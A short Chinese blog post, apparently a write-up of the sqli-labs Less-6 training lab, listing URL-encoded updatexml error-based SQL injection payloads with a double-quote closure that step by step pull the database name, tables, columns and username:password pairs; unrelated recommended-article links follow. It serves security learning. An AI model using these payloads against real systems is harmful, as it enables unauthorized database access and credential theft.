sql 注入 之sqli-labs/less-6 双注入,双引号报错注入

和第五关类似,只不过闭合符号是双引号

1,查数据库

1"and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))%20--+

2.查表

内容有多行,所以使用limit依次查询

1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1)%20,0x7e),1))%20--+

limit 3,1 查出来users表

?id=1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1)%20,0x7e),1))%20--+

查字段名:

?id=1"and%20(updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20)%20,0x7e),1))%20--+

返回超过1 行,使用limit进行处理

limit 4,1 返回username字段

limit 5,1 返回password字段

查询字段内容,返回结果超过一行,使用limit函数

/?id=1"and%20(updatexml(1,concat(0x7e,(select%20username%20from%20users)%20,0x7e),1))%20--+

依次进行查询

id=1"and%20(updatexml(1,concat(0x7e,(select%20concat(username,":",password)%20from%20users%20limit%200,1)%20,0x7e),1))%20--+

相关推荐
wangjinjin1803 分钟前
Redis 字符串(String)详解
数据库·redis·缓存
Full Stack Developme7 分钟前
SQL 中的 NULL 处理
android·数据库·sql
qixiang20138 分钟前
mysql和mongodb
数据库·mysql·mongodb
自由鬼9 分钟前
通过MCP+数据库实现AI检索和分析
数据库·人工智能·ai
大大蚊子10 分钟前
mybatis-plus sql改写插件(二)
数据库·sql·mybatis
Arbori_262151 小时前
oracle update 原理
数据库·oracle
hxung2 小时前
Spring @Transactional 注解
数据库·spring·oracle
追逐时光者2 小时前
精选 4 款免费且实用的数据库管理工具,程序员必备!
数据库
生命有所坚持而生存可以随遇而安3 小时前
MySQL5.7数据库部署和安装
数据库·adb
未来的资深Java架构师3 小时前
MySQL报Lock wait timeout exceeded; try restarting transaction
数据库·mysql